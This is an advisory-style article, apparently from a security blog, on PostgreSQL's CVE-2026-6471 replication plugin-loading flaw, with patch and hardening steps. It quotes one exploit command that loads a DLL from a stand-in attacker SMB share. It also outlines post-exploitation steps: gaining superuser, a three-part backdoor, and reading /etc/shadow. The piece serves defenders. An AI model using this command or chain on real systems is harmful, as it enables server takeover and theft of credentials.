exploits6 min read

PostGREShell: The 'Backup' Account That Opens Every Door in PostgreSQL (CVE-2026-6471)

A missing authorization check on the logical-decoding path means any account with REPLICATION can dlopen an arbitrary file as the postgres OS user — 12 years old, fixed this month, and not even on KEV yet. Fix your box tonight.

High severity, 3 of 4. Patch at your next window. Real impact, real exposure.CVSS 7.2CVE-2026-6471 +1
The short version

CVE-2026-6471 (CVSS 7.2) lets any non-superuser account with the REPLICATION attribute load and execute an arbitrary file as the postgres OS user when wal_level = logical — i.e., default production config. It's been in PostgreSQL since 9.4 in 2014, fixed Aug 13 in 18.6 / 17.11 / 16.15 / 15.19 / 14.24 via a new output_plugin_libraries allowlist. Not on KEV as of Sep 9 — but public PoCs have been out since Sep 4 and Cyera already found 114 malicious plugins on VirusTotal.

The short version//

PostgreSQL, the database quietly running under a huge share of the internet, had an open back door for twelve years. Cyera Research found that any account with the REPLICATION attribute — the "backup crew" role every standby, backup job, and CDC pipeline already has — could load and execute an arbitrary file as the postgres OS user. The result: RCE across Windows/Linux/macOS, escalation to full superuser, and a backdoor that survives cleanup. It's been in every version since 9.4 (2014), was fixed on August 13 in 18.6 / 17.11 / 16.15 / 15.19 / 14.24, and — as of today, September 9 — is not yet on CISA's KEV catalog. That "not yet" is the whole point: this one is still ahead of the firehose.

The fortress and the cleaning crew door//

Cyera's framing is worth stealing. PostgreSQL is a fortress with guards at every front gate — ACLs, role-based access, row-level security, all well-tested. But around the back there's an unmarked entrance used by the cleaning crew: the replication protocol. It exists to sync replicas and feed backup/CDC tools, so it needs accounts with the REPLICATION attribute. Those accounts are everywhere — they're treated as low-risk operational plumbing, exactly like a cleaning staff badge nobody thinks to guard.

The bug: when you create a logical replication slot, you name an output plugin (like pgoutput or wal2json) that PostgreSQL loads to format the change stream. Plugins are compiled code — .so, .dll, .dylib files loaded into the database's own process, and their _PG_init() function runs immediately with the server's full privileges. No sandbox, no permission prompt.

PostgreSQL knows this is dangerous, so it built a guard: check_restricted_library_name(). When a non-superuser uses SQL's LOAD command, that check forces them to load plugins only from one admin-controlled directory — no absolute paths, no traversal. The problem? The replication path never calls the guard. The plugin name from your CREATE_REPLICATION_SLOT goes straight to the loader — dlopen() on Linux/macOS, LoadLibrary() on Windows — exactly as typed. And the replication protocol's parser happily accepts slashes, backslashes, dots, ../ traversal, even full UNC paths inside a double-quoted plugin name.

The entire fix is two lines of C: reject plugin names containing directory separators. Two lines left PostgreSQL exposed since 2014.

How far does the exploit actually reach?//

It depends on your platform — but "network access only" covers more ground than you'd hope:

  • Windows: fully remote, out of the box. The PoC hands LoadLibrary() a UNC path like \\attacker\share\evil.dll; Windows connects to the attacker's SMB server (port 445), downloads the DLL, maps it in, and runs _PG_init(). Nothing is placed on the target filesystem. Cyera's entire proof of concept is three lines of Python — open a replication connection as the backup account and CREATE_REPLICATION_SLOT x LOGICAL "\\\\attacker\\share\\evil".
  • Linux/macOS with NFS automounting (/net active by default on older macOS, RHEL/CentOS/Rocky with autofs): ../ traversal to /net/<host>/... triggers an automatic NFS mount (port 2049) from the attacker's server.
  • Everything else (vanilla Linux, Docker, K8s): the attacker needs some way to write a file first — but then ../ loads it locally. No network fetch required.

The common requirements are cheap: an account with REPLICATION (not superuser), wal_level = logical on the server — which is standard production plumbing for CDC and logical replication — and reachability per platform above.

From backup badge to superuser, in one plugin load//

Once code runs inside PostgreSQL's process as postgres, SQL-level security stops mattering: there's no C-level sandbox, so loaded code can call internal APIs directly. The PoC escalates by calling an internal function to become the bootstrap superuser for its session, then writes straight to pg_authid — the catalog table that defines who is a superuser — flipping every privilege flag on the attacker's role. That write never passes through the SQL executor, so no ACL check fires. For good measure it installs a hook making every permission check return "allowed." The change is permanent, survives restarts, and looks identical to a normal ALTER ROLE in the catalog — an admin can't tell it was made through an unauthorized path.

Then comes the backdoor, and it's a trio that covers each other:

  1. Rewrites pg_hba.conf so anyone can connect as anyone without a password — then reloads the config instantly.
  2. Copies itself into shared_preload_libraries, so it re-loads into every new backend after a restart.
  3. Re-applies the superuser flip if an admin reverts it.

So when you find and fix one backdoor, two more are still watching. With superuser in hand, the attacker reads every table (COPY … TO PROGRAM for OS commands, pg_read_file() for /etc/shadow and private keys, lo_export() to write files anywhere postgres can). You're not just pwned at the database — you're on the server.

The numbers that should bother you//

  • Twelve years. 9.4 in 2014 through 18; Cyera confirmed it live on 18.2. Reported February 21, 2026 with full root-cause analysis; PostgreSQL's security team confirmed within days ("I agree this is a vulnerability. We'll fix it." — Noah Misch).
  • The fix shipped August 13 in the minor release train (per the official release notes — and yes, 18.5 was never released due to a regression found post-wrap, so 18.6 is where this one landed).
  • People are already building against it. Cyera's threat hunt across VirusTotal found 114 malicious PostgreSQL plugins in the wild — trojans, crypto miners, reverse shells — before the CVE even hit KEV. Public PoCs appeared on GitHub September 4–5.
  • Not on KEV as of today. notcve.org shows "Exploited in Wild: No," EPSS under 1%, CISA SSVC at "Track." That's a gift window — use it.
  • PG 14 EOL is November 12, 2026. If you're still on 14, this patch and the end of support land in the same quarter.

You've seen this before//

This is a recurring vulnerability class, not a one-off: a server loads plugins, the plugin name isn't validated, an attacker abuses it to run code. The poster child is Redis — MODULE LOAD powered multiple botnet campaigns (HeadCrab infected 1,200+ Redis servers; "RediShell," CVE-2025-49844, sat exposed for ~13 years across roughly 330,000 internet-facing instances). The same pattern has hit OpenVPN, MySQL/MariaDB/Percona, MongoDB, and SQLite JDBC. It keeps happening because plugin-loading code is usually built separately from the main security model — here, PostgreSQL's core team guarded the SQL LOAD path, and the replication team never connected the two.

What to do tonight//

  1. Update to 18.6 / 17.11 / 16.15 / 15.19 / 14.24 (or your distro's equivalent security update — Debian, SUSE, RHEL, Amazon Linux all shipped advisories).
  2. Audit every REPLICATION account on every instance:
    SQL
    SELECT rolname, rolsuper, rolreplication, rolcanlogin
    FROM pg_roles WHERE rolreplication = true;
    Strip the attribute from any account that doesn't strictly need it. For the ones that stay, lock down pg_hba.conf so they connect only from known IPs — never 0.0.0.0/0 for replication (e.g. host replication repl_user 10.0.1.5/32 scram-sha-256).
  3. Before you upgrade, check which output plugins your logical replication slots actually use. The fix introduces a new server parameter, output_plugin_libraries, defaulting to 'pgoutput, test_decoding'. If you run third-party decoders (wal2json and friends), add them to the allowlist after updating — and per the 18.6 release notes, pg_upgrade --check will fail if the old cluster's slot plugins aren't permitted on the new one when migrating from 17+. Fix that before you run pg_upgrade, or the upgrade tells you "no" at the worst moment.
  4. Block outbound SMB (445) and NFS (2049) from your database servers at the firewall — that kills the standalone remote paths on Windows and NFS-enabled Linux/macOS. Disable autofs where it isn't needed.
  5. Hunt for anomalous replication activity: CREATE_REPLICATION_SLOT from unexpected IPs, plugin names containing /, \, or .., slots with weird names — and if you find one, treat the box as compromised (remember: three-part backdoor).

Filed under

Sources

5 cited · 1 primary
  1. cyera.com/research/postgreshell-the-database-powering-much-of-the-internet-had-an-open-door-for-12-yearsReporting
  2. thehackernews.com/2026/09/postgresql-fixes-12-year-old-logical.htmlReporting
  3. securityweek.com/12-year-old-postgresql-vulnerability-enables-database-server-takeoverReporting
  4. notcve.org/cve/CVE-2026-6471Primary
  5. postgresql.org/docs/current/release-18-6.htmlReporting